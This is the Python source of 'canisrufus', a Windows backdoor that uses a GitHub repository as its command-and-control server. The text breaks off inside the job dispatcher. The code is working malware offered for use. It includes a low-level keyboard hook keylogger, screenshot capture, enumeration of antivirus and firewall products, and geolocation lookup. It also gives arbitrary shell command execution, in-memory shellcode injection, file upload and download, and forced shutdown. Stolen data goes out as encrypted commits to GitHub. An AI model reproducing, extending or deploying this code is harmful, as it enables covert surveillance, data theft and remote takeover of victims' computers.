"""
    This file is part of canisrufus
    Copyright (C) 2017 @maldevel
    https://github.com/maldevel/canisrufus
    
    canisrufus - A fully featured backdoor that uses Github as a C&C server

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    For more see the file 'LICENSE' for copying permission.
"""

__author__ = "maldevel"
__copyright__ = "Copyright (c) 2017 @maldevel"
__credits__ = ["maldevel"]
__license__ = "GPLv3"
__version__ = "1.0"
__maintainer__ = "maldevel"

##################################################

import subprocess
import os
import base64
import threading
import time
import random
import string
import imaplib
import platform
import hashlib
import ctypes
import json
import wmi
import getpass
import uuid
import netifaces
import urllib2
import urllib
import pythoncom
import random

from pygithub3 import Github
from win32com.client import GetObject
from enum import Enum
from base64 import b64decode
from struct import pack
from zlib import compress, crc32
from ctypes import c_void_p, c_int, create_string_buffer, sizeof, windll, Structure, WINFUNCTYPE, CFUNCTYPE, POINTER
from ctypes.wintypes import BOOL, DOUBLE, DWORD, HBITMAP, HDC, HGDIOBJ, HWND, INT, LPARAM, LONG, RECT, UINT, WORD, MSG
from Crypto.Cipher import AES
from Crypto import Random

######################################################

myrepo = 'my_repository'
username = 'my_username'
access_token = 'my_api_token'
AESKey = 'my_AES_key'
GIT_KNOCK_TIMEOUT = 60  # seconds - check for new commands/jobs every GIT_KNOCK_TIMEOUT seconds
JITTER = 100
TAG = 'RELEASE'
VERSION = '1.0.0'

#######################################

class InfoSecurity:
    
    def __init__(self):
        self.bs = 32
        self.key = hashlib.sha256(AESKey.encode()).digest()
    
    def Encrypt(self, plainText):
        raw = self._pad(plainText)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw))
    
    def Decrypt(self, cipherText):
        enc = base64.b64decode(cipherText)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
    
    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)

    def _unpad(self, s):
        return s[:-ord(s[len(s)-1:])]
    
infoSec = InfoSecurity()


class AccountType(Enum):
    DUPLICATE_ACCOUNT = 256
    NORMAL_ACCOUNT = 512
    INTERDOMAIN_TRUST_ACCOUNT = 2048
    WORKSTATION_TRUST_ACCOUNT = 4096
    SERVER_TRUST_ACCOUNT = 8192
    
class ChassisTypes(Enum):
    Other = 1
    Unknown = 2
    Desktop = 3
    LowProfileDesktop = 4
    PizzaBox = 5
    MiniTower = 6
    Tower = 7
    Portable = 8
    Laptop = 9
    Notebook = 10
    Handheld = 11 
    DockingStation = 12
    AllInOne = 13
    SubNotebook = 14
    SpaceSaving = 15
    LunchBox = 16
    MainSystemChassis = 17
    ExpansionChassis = 18
    SubChassis = 19
    BusExpansionChassis = 20
    PeripheralChassis = 21
    StorageChassis = 22
    RackMountChassis = 23
    SealedCasePC = 24
        
def getGeolocation():
    try:    
        req = urllib2.Request('http://ip-api.com/json/', data=None, headers={
          'User-Agent':'CanisRufus'
        })
        response = urllib2.urlopen(req)
        if response.code == 200:
            encoding = response.headers.getparam('charset')
            return json.loads(response.read().decode(encoding))
        return False
    except Exception:
        return False


class SystemInfo:
    def __init__(self):
        self.Architecture = platform.machine()
        self.WinVer = platform.platform()
        self.CPU = platform.processor()
        self.User = getpass.getuser()
        self.PCName = platform.node()
        self.isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
        if self.isAdmin == 0:
            self.isAdmin = 'no'
        else:
            self.isAdmin = 'yes'
        w = wmi.WMI()
        self.GPU = []
        for i in w.Win32_VideoController():
            self.GPU.append(i.Caption.strip())
        self.Motherboard = ''
        for i in w.Win32_BaseBoard():
            self.Motherboard = '{0} {1} {2}'.format(i.Manufacturer, i.Product, i.SerialNumber).strip()
            break
        self.ChassisType = ''
        for i in w.Win32_SystemEnclosure():
            for j in i.ChassisTypes:
                self.ChassisType = str(ChassisTypes(j)).split('.')[1]
                break
            break
        self.TotalRam = 0.0
        for i in w.Win32_ComputerSystem():
            self.TotalRam = (round(float(i.TotalPhysicalMemory) / 1024 / 1024 / 1024))
            break
        self.Bios = ''
        for i in w.Win32_BIOS():
            self.Bios = '{0} {1} {2}'.format(i.Caption, i.Manufacturer, i.SerialNumber).strip()
            break
        self.PID = os.getpid()
        self.MAC = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
        self.IPv4 = ''
        for iface in netifaces.interfaces():
            if netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] == self.MAC:
                self.IPv4 = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])[0]['addr']
        self.Antivirus = []
        objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiVirusProduct')
        for i in objWMI:
            self.Antivirus.append(i.displayName.strip())
        self.Firewall = []
        objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('FirewallProduct')
        for i in objWMI:
            self.Firewall.append(i.displayName.strip())
        self.Antispyware = []
        objWMI = GetObject('winmgmts:\\\\.\\root\\SecurityCenter2').InstancesOf('AntiSpywareProduct')
        for i in objWMI:
            self.Antispyware.append(i.displayName.strip())
        self.Geolocation = getGeolocation()
    

        self.UniqueID = hashlib.sha256(
                           self.Architecture + 
                           self.WinVer + 
                           self.CPU + 
                           ';'.join(self.GPU) + 
                           self.isAdmin + 
                           self.Motherboard + 
                           self.ChassisType + 
                           '{0}@{1}'.format(self.User, self.PCName) + 
                           str(self.TotalRam) + 
                           self.Bios + 
                           self.MAC
                   ).hexdigest()


sysInfo = SystemInfo()


WH_KEYBOARD_LL=13                                                                 
WM_KEYDOWN=0x0100
CTRL_CODE = 162
        
        
### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ###
class BITMAPINFOHEADER(Structure):
    _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG),
                ('biPlanes', WORD), ('biBitCount', WORD),
                ('biCompression', DWORD), ('biSizeImage', DWORD),
                ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG),
                ('biClrUsed', DWORD), ('biClrImportant', DWORD)]

class BITMAPINFO(Structure):
    _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)]

class screenshot(threading.Thread):
    ''' Mutliple ScreenShots implementation for Microsoft Windows. '''

    def __init__(self, jobid):
        ''' Windows initialisations. '''
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self._set_argtypes()
        self._set_restypes()
        self.start()

    def _set_argtypes(self):
        ''' Functions arguments. '''

        self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT),
                                           DOUBLE)
        windll.user32.GetSystemMetrics.argtypes = [INT]
        windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p,
                                                      self.MONITORENUMPROC,
                                                      LPARAM]
        windll.user32.GetWindowDC.argtypes = [HWND]
        windll.gdi32.CreateCompatibleDC.argtypes = [HDC]
        windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT]
        windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ]
        windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT,
                                        DWORD]
        windll.gdi32.DeleteObject.argtypes = [HGDIOBJ]
        windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p,
                                           POINTER(BITMAPINFO), UINT]

    def _set_restypes(self):
        ''' Functions return type. '''

        windll.user32.GetSystemMetrics.restypes = INT
        windll.user32.EnumDisplayMonitors.restypes = BOOL
        windll.user32.GetWindowDC.restypes = HDC
        windll.gdi32.CreateCompatibleDC.restypes = HDC
        windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP
        windll.gdi32.SelectObject.restypes = HGDIOBJ
        windll.gdi32.BitBlt.restypes = BOOL
        windll.gdi32.GetDIBits.restypes = INT
        windll.gdi32.DeleteObject.restypes = BOOL

    def enum_display_monitors(self, screen=-1):
        ''' Get positions of one or more monitors.
            Returns a dict with minimal requirements.
        '''

        if screen == -1:
            SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77
            SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79
            left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN)
            right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN)
            top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN)
            bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN)
            yield ({
                b'left': int(left),
                b'top': int(top),
                b'width': int(right - left),
                b'height': int(bottom - top)
            })
        else:

            def _callback(monitor, dc, rect, data):
                ''' Callback for MONITORENUMPROC() function, it will return
                    a RECT with appropriate values.
                '''
                rct = rect.contents
                monitors.append({
                    b'left': int(rct.left),
                    b'top': int(rct.top),
                    b'width': int(rct.right - rct.left),
                    b'height': int(rct.bottom - rct.top)
                })
                return 1

            monitors = []
            callback = self.MONITORENUMPROC(_callback)
            windll.user32.EnumDisplayMonitors(0, 0, callback, 0)
            for mon in monitors:
                yield mon

    def get_pixels(self, monitor):
        ''' Retrieve all pixels from a monitor. Pixels have to be RGB.
            [1] A bottom-up DIB is specified by setting the height to a
            positive number, while a top-down DIB is specified by
            setting the height to a negative number.
            https://msdn.microsoft.com/en-us/library/ms787796.aspx
            https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx
        '''

        width, height = monitor[b'width'], monitor[b'height']
        left, top = monitor[b'left'], monitor[b'top']
        SRCCOPY = 0xCC0020
        DIB_RGB_COLORS = BI_RGB = 0
        srcdc = memdc = bmp = None

        try:
            bmi = BITMAPINFO()
            bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER)
            bmi.bmiHeader.biWidth = width
            bmi.bmiHeader.biHeight = -height  # Why minus? See [1]
            bmi.bmiHeader.biPlanes = 1  # Always 1
            bmi.bmiHeader.biBitCount = 24
            bmi.bmiHeader.biCompression = BI_RGB
            buffer_len = height * width * 3
            self.image = create_string_buffer(buffer_len)
            srcdc = windll.user32.GetWindowDC(0)
            memdc = windll.gdi32.CreateCompatibleDC(srcdc)
            bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height)
            windll.gdi32.SelectObject(memdc, bmp)
            windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top,
                                SRCCOPY)
            bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image,
                                          bmi, DIB_RGB_COLORS)
            if bits != height:
                raise Exception('MSS: GetDIBits() failed.')
        finally:
            # Clean up
            if srcdc:
                windll.gdi32.DeleteObject(srcdc)
            if memdc:
                windll.gdi32.DeleteObject(memdc)
            if bmp:
                windll.gdi32.DeleteObject(bmp)

        # Replace pixels values: BGR to RGB
        self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \
            self.image[0:buffer_len:3], self.image[2:buffer_len:3]
        return self.image

    def save(self,
             output='screenshot-%d.png',
             screen=-1,
             callback=lambda *x: True):
        ''' Grab a screenshot and save it to a file.
            Parameters:
             - output - string - the output filename. It can contain '%d' which
                                 will be replaced by the monitor number.
             - screen - int - grab one screenshot of all monitors (screen=-1)
                              grab one screenshot by monitor (screen=0)
                              grab the screenshot of the monitor N (screen=N)
             - callback - function - in case where output already exists, call
                                     the defined callback function with output
                                     as parameter. If it returns True, then
                                     continue; else ignores the monitor and
                                     switches to ne next.
            This is a generator which returns created files.
        '''

        # Monitors screen shots!
        for i, monitor in enumerate(self.enum_display_monitors(screen)):
            if screen <= 0 or (screen > 0 and i + 1 == screen):
                fname = output
                if '%d' in output:
                    fname = output.replace('%d', str(i + 1))
                callback(fname)
                self.save_img(data=self.get_pixels(monitor),
                              width=monitor[b'width'],
                              height=monitor[b'height'],
                              output=fname)
                yield fname

    def save_img(self, data, width, height, output):
        ''' Dump data to the image file.
            Pure python PNG implementation.
            Image represented as RGB tuples, no interlacing.
            http://inaps.org/journal/comment-fonctionne-le-png
        '''

        zcrc32 = crc32
        zcompr = compress
        len_sl = width * 3
        scanlines = b''.join(
            [b'0' + data[y * len_sl:y * len_sl + len_sl]
             for y in range(height)])

        magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10)

        # Header: size, marker, data, CRC32
        ihdr = [b'', b'IHDR', b'', b'']
        ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0)
        ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff)
        ihdr[0] = pack(b'>I', len(ihdr[2]))

        # Data: size, marker, data, CRC32
        idat = [b'', b'IDAT', b'', b'']
        idat[2] = zcompr(scanlines, 9)
        idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff)
        idat[0] = pack(b'>I', len(idat[2]))

        # Footer: size, marker, None, CRC32
        iend = [b'', b'IEND', b'', b'']
        iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff)
        iend[0] = pack(b'>I', len(iend[2]))

        with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh:
            fileh.write(
                magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend))
            return
        err = 'MSS: error writing data to "{0}".'.format(output)
        raise Exception(err)

    def run(self):
        img_name = genRandomString() + '.png'
        for filename in self.save(output=img_name, screen=-1):
            commit({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)])

### End of python-mss code ###


class MessageParser:

    def __init__(self, msg_data):
        self.attachment = None
        self.getPayloads(msg_data)

    def getPayloads(self, msg_data):
        self.dict = json.loads(infoSec.Decrypt(msg_data))

class keylogger(threading.Thread):
    #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/                                                          
    exit = False

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.hooked  = None
        self.keys = ''
        self.start()

    def installHookProc(self, pointer):                                           
        self.hooked = ctypes.windll.user32.SetWindowsHookExA( 
                        WH_KEYBOARD_LL, 
                        pointer, 
                        windll.kernel32.GetModuleHandleW(None), 
                        0
        )

        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self):                                                  
        if self.hooked is None:
            return
        ctypes.windll.user32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

    def getFPTR(self, fn):                                                                  
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        return CMPFUNC(fn)

    def hookProc(self, nCode, wParam, lParam):                                              
        if wParam is not WM_KEYDOWN:
            return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

        self.keys += chr(lParam[0])

        if len(self.keys) > 100:
            commit({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid)
            self.keys = ''

        if (CTRL_CODE == int(lParam[0])) or (self.exit == True):
            commit({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid)
            self.uninstallHookProc()

        return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)     

    def startKeyLog(self):                                                                
        msg = MSG()
        ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0)

    def run(self):                                 
        pointer = self.getFPTR(self.hookProc)

        if self.installHookProc(pointer):
            commit({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid)
            self.startKeyLog()


class download(threading.Thread):

    def __init__(self, jobid, filepath):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.filepath = filepath

        self.daemon = True
        self.start()

    def run(self):
        try:
            if os.path.exists(self.filepath) is True:
                commit({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath])
            else:
                commit({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid)
        except Exception as e:
            commit({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid)

class downloadfromurl(threading.Thread):

    def __init__(self, jobid, url):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.url = url
        self.daemon = True
        self.start()

    def run(self):
        try:
            urllib.urlretrieve(self.url, os.path.join(os.getenv('TEMP') + '\\'  + self.url.split('/')[-1]))
            commit({'cmd': 'downloadfromurl', 'res': 'Success'}, self.jobid, [self.url])
        except Exception as e:
            commit({'cmd': 'downloadfromurl', 'res': 'Failed: {}'.format(e)}, self.jobid)
            
class tasks(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def _detectRunningProcesses(self):
        pythoncom.CoInitialize()
        procs = []
        w = wmi.WMI ()
        for process in w.Win32_Process ():
            procs.append('{0};{1}'.format(process.ProcessId, process.Name))
        return procs
    
    def run(self):
        try:
            commit({'cmd': 'tasks', 'res': self._detectRunningProcesses()}, self.jobid)
        except Exception as e:
            commit({'cmd': 'tasks', 'res': 'Failed: {}'.format(e)}, self.jobid)
            

class services(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def _detectServices(self):
        pythoncom.CoInitialize()
        srvs = []
        w = wmi.WMI ()
        for service in w.Win32_Service ():
            srvs.append('{0};{1}'.format(service.Name, str(service.StartMode)))
        return srvs
    
    def run(self):
        try:
            commit({'cmd': 'services', 'res': self._detectServices()}, self.jobid)
        except Exception as e:
            commit({'cmd': 'services', 'res': 'Failed: {}'.format(e)}, self.jobid)
            

class users(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def _detectUsers(self):
        pythoncom.CoInitialize()
        usr = []
        w = wmi.WMI ()
        for user in w.Win32_UserAccount ():
            usr.append('{0};{1};{2}'.format(user.Name, str(AccountType(user.AccountType)).split('.')[1], 'Disabled' if user.Disabled else 'Enabled'))
        return usr
    
    def run(self):
        try:
            commit({'cmd': 'users', 'res': self._detectUsers()}, self.jobid)
        except Exception as e:
            commit({'cmd': 'users', 'res': 'Failed: {}'.format(e)}, self.jobid)
            

class devices(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def _detectDevices(self):
        pythoncom.CoInitialize()
        devs = []
        w = wmi.WMI ()
        for dev in w.Win32_PnPEntity ():
            devs.append('{0};{1}'.format(dev.Name, dev.Manufacturer))
        return devs
    
    def run(self):
        try:
            commit({'cmd': 'devices', 'res': self._detectDevices()}, self.jobid)
        except Exception as e:
            commit({'cmd': 'devices', 'res': 'Failed: {}'.format(e)}, self.jobid)
        
               
class upload(threading.Thread):

    def __init__(self, jobid, dest, attachment):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.dest = dest
        self.attachment = attachment
        self.daemon = True
        self.start()

    def run(self):
        try:
            with open(self.dest, 'wb') as fileh:
                fileh.write(b64decode(self.attachment))
            commit({'cmd': 'upload', 'res': 'Success'}, self.jobid)
        except Exception as e:
            commit({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid)


class lockScreen(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            ctypes.windll.user32.LockWorkStation()
            commit({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid)
        except Exception as e:
            pass
        
        
class shutdown(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            commit({'cmd': 'shutdown', 'res': 'Success'}, jobid=self.jobid)
            time.sleep(3)
            subprocess.call(["shutdown", "/f", "/s", "/t", "0"])
        except Exception as e:
            pass


class restart(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            commit({'cmd': 'restart', 'res': 'Success'}, jobid=self.jobid)
            time.sleep(3)
            subprocess.call(["shutdown", "/f", "/r", "/t", "0"])            
        except Exception as e:
            pass

class jitter(threading.Thread ):

    def __init__(self, command, jobid):
        threading.Thread.__init__(self)
        self.command = command
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            global JITTER
            JITTER = self.command
            commit({'cmd': 'jitter', 'res': 'Success with Changing Jitter to %s Seconds' %str(JITTER)}, jobid=self.jobid)
        except Exception as e:
            pass

class git_check(threading.Thread ):

    def __init__(self, command, jobid):
        threading.Thread.__init__(self)
        self.command = command
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            global GIT_KNOCK_TIMEOUT
            GIT_KNOCK_TIMEOUT = self.command
            commit({'cmd': 'git_check', 'res': 'Success with changing Git Check in time to %s Seconds' %str(GIT_KNOCK_TIMEOUT)}, jobid=self.jobid)
            time.sleep(3)

        except Exception as e:
            pass
        
        
class logoff(threading.Thread):

    def __init__(self, jobid):
        threading.Thread.__init__(self)
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            commit({'cmd': 'logoff', 'res': 'Success'}, jobid=self.jobid)
            time.sleep(3)
            subprocess.call(["shutdown", "/f", "/l"])            
        except Exception as e:
            pass
        
class execShellcode(threading.Thread):

    def __init__(self, shellc, jobid):
        threading.Thread.__init__(self)
        self.shellc = shellc
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            commit({'cmd': 'execshellcode', 'res': 'Success'}, jobid=self.jobid)
            
            shellcode = self.shellc.decode("string_escape")
            shellcode = bytearray(shellcode)

            ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                                      ctypes.c_int(len(shellcode)), 
                                                      ctypes.c_int(0x3000), 
                                                      ctypes.c_int(0x40))
        
            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
        
            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 
            
            ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                                     ctypes.c_int(0),
                                                     ctypes.c_int(ptr),
                                                     ctypes.c_int(0),
                                                     ctypes.c_int(0),
                                                     ctypes.pointer(ctypes.c_int(0)))
            
            ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

        except Exception as e:
            pass


class visitwebsite(threading.Thread):

    def __init__(self, url, jobid):
        threading.Thread.__init__(self)
        self.url = url
        self.jobid = jobid
        self.daemon = True
        self.start()

    def run(self):
        try:
            urllib2.urlopen(self.url).read()
            commit({'cmd': 'visitwebsite', 'res': 'Success'}, jobid=self.jobid)
        except Exception as e:
            pass
        
        
class execCmd(threading.Thread):

    def __init__(self, command, jobid):
        threading.Thread.__init__(self)
        self.command = command
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            stdout_value = proc.stdout.read()
            stdout_value += proc.stderr.read()

            commit({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid)
        except Exception as e:
            pass

class message(threading.Thread):

    def __init__(self, TextAndTitle, jobid):
        threading.Thread.__init__(self)
        self.TextAndTitle = TextAndTitle
        self.jobid = jobid

        self.daemon = True
        self.start()

    def run(self):
        try:
            ctypes.windll.user32.MessageBoxW(0, self.TextAndTitle[0], self.TextAndTitle[1], 0)
            commit({'cmd': 'message', 'res': 'Success'}, jobid=self.jobid)
        except Exception as e:
            pass

def genRandomString(slen=10):
    return ''.join(random.sample(string.ascii_letters + string.digits, slen))
    
def detectForgroundWindows():
    #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/
    EnumWindows = ctypes.windll.user32.EnumWindows
    EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
    GetWindowText = ctypes.windll.user32.GetWindowTextW
    GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW
    IsWindowVisible = ctypes.windll.user32.IsWindowVisible

    titles = []
    def foreach_window(hwnd, lParam):
        if IsWindowVisible(hwnd):
            length = GetWindowTextLength(hwnd)
            buff = ctypes.create_unicode_buffer(length + 1)
            GetWindowText(hwnd, buff, length + 1)
            titles.append(buff.value)
        return True

    EnumWindows(EnumWindowsProc(foreach_window), 0)

    return titles

def currentCommit(github):
    ref = github.git_data.references.get('heads/master')
    commit = github.git_data.commits.get(sha=ref.object['sha'])
    return ref.object['sha'], commit.tree['sha']

def createCommit(github, parent_sha, tree, message):
    mycommit = github.git_data.commits.create(
        data={
            'message': message,
            'parents': [parent_sha],
            'tree': tree.sha
        }
    )
    
    github.git_data.references.update(ref='heads/master', data={'sha': mycommit.sha})
    
    return mycommit

def createTree(github, basecommit, blobs):
    tree = []
    
    for blob in blobs:
        tree.append({
            'path': blob.path,
            'type': 'blob',
            'sha': blob.sha,
            'mode': "100644"
        })
    data = {
        'base_tree': basecommit,
        'tree': tree
    }

    tree = github.git_data.trees.create(data)
    
    return tree

def addBlob(github, path, content, encoding="utf-8"):
    
    blob = github.git_data.blobs.create(data={
        'content': content,
        "encoding": encoding
    })
    
    blob.path = path
    
    return blob

class commit(threading.Thread):

    def __init__(self, text, jobid='', attachment=[], checkin=False):
        threading.Thread.__init__(self)
        self.text = text
        self.jobid = jobid
        self.attachment = attachment
        self.checkin = checkin
        self.daemon = True
        self.start()

    def run(self):
        comment = sysInfo.UniqueID
        if self.jobid:
            comment = 'dmp:{}:{}'.format(sysInfo.UniqueID, self.jobid)
        elif self.checkin:
            comment = 'hereiam:{}'.format(sysInfo.UniqueID)

        s = infoSec.Encrypt(json.dumps({
                  'fgwindow': detectForgroundWindows(), 
                  'user': '{0}@{1}'.format(sysInfo.User, sysInfo.PCName),
                  'arch': sysInfo.Architecture, 
                  'os': sysInfo.WinVer, 
                  'cpu': sysInfo.CPU,
                  'gpu': sysInfo.GPU,
                  'motherboard': sysInfo.Motherboard,
                  'isAdmin': sysInfo.isAdmin,
                  'chassistype': sysInfo.ChassisType,
                  'totalram': sysInfo.TotalRam,
                  'bios': sysInfo.Bios,
                  'pid': sysInfo.PID,
                  'mac': sysInfo.MAC,
                  'ipv4': sysInfo.IPv4,
                  'av': sysInfo.Antivirus,
                  'firewall': sysInfo.Firewall,
                  'antispyware': sysInfo.Antispyware,
                  'geolocation': sysInfo.Geolocation,
                  'tag': TAG,
                  'version': VERSION,
                  'msg': self.text
          }))
        
        try:
            for attach in self.attachment:
                if os.path.exists(attach) == True:
                    file = open(attach, 'rb').read()
                    filedata = base64.b64encode(file)
                    gh = Github(token=access_token, user=username, repo=myrepo)
                    parentSha, baseCommit = currentCommit(gh)
                    blobs = []
                    blobs.append(addBlob(gh, 'file.{}'.format(self.jobid), str(filedata)))
                    tree = createTree(gh, baseCommit, blobs)
                    createCommit(gh, parentSha, tree, comment)
        except Exception as e:
            pass

        time.sleep(10)
        
        while True:
            try:
                #commit
                filename = sysInfo.UniqueID
                if self.jobid:
                    filename = 'jobdone.{}'.format(self.jobid)
            
                gh = Github(token=access_token, user=username, repo=myrepo)
                parentSha, baseCommit = currentCommit(gh)
                blobs = []
                blobs.append(addBlob(gh, filename, str(s)))
                tree = createTree(gh, baseCommit, blobs)
                createCommit(gh, parentSha, tree, comment)
                break
            except Exception as e:
                time.sleep(60)

def isExecuted(github, jobid):
    comment = 'dmp:{}:{}'.format(sysInfo.UniqueID, jobid)
    commits=[]
    commits = github.repos.commits.list().all()
    for c in commits:
        if comment == c.commit.message:
            return True

    return False

def checkJobs():
    #Here we check the inbox for queued jobs, parse them and start a thread
    #GIT_KNOCK_TIMEOUT = 60  # seconds - check for new commands/jobs every GIT_KNOCK_TIMEOUT seconds
    #JITTER = 100
    while True:

        try:
            gh = Github(token=access_token, user=username, repo=myrepo)
            commits=[]
            commits = gh.repos.commits.list().all()#(user=username, repo=myrepo)
            filedata = ''
            
            for c in commits:
                if 'canisrufus:{}'.format(sysInfo.UniqueID) in c.commit.message:
                    comment = c.commit.message
                    jobid = comment.split(':')[2]

                    gh = Github(token=access_token, user=username, repo=myrepo)
                    tree = gh.git_data.trees.get('heads/master')

                    if isExecuted(gh, jobid):
                        continue
                        
                    for t in tree.tree:
                        if 'file.{}'.format(jobid) in t['path']:
                            blob = gh.git_data.blobs.get(t['sha'])
                            filedata = base64.b64decode(blob.content)
                            
                        if 'job.{}'.format(jobid) == t['path']:
                            blob = gh.git_data.blobs.get(t['sha'])
                            msg_data = base64.b64decode(blob.content)
                            msg = MessageParser(msg_data)
                            
                            if msg.dict:
                                cmd = msg.dict['cmd'].lower()
                                arg = msg.dict['arg']
            
                                if cmd == 'execshellcode':
                                    execShellcode(arg, jobid)
                                    
                                elif cmd == 'download':
                                    download(jobid, arg)
                                    
                                elif cmd == 'downloadfromurl':
                                    downloadfromurl(jobid, arg)
                                    
                                elif cmd == 'upload':
                                    upload(jobid, arg, filedata)
                                    
                                elif cmd == 'screenshot':
                                    screenshot(jobid)
                                    #pass
                                    
                                elif cmd == 'tasks':
                                    tasks(jobid)
                                    
                                elif cmd == 'services':
                                    services(jobid)
                                    
                                elif cmd == 'users':
                                    users(jobid)
                                    
                                elif cmd == 'devices':
                                    devices(jobid)
                                    
                                elif cmd == 'cmd':
                                    execCmd(arg, jobid)
                                    
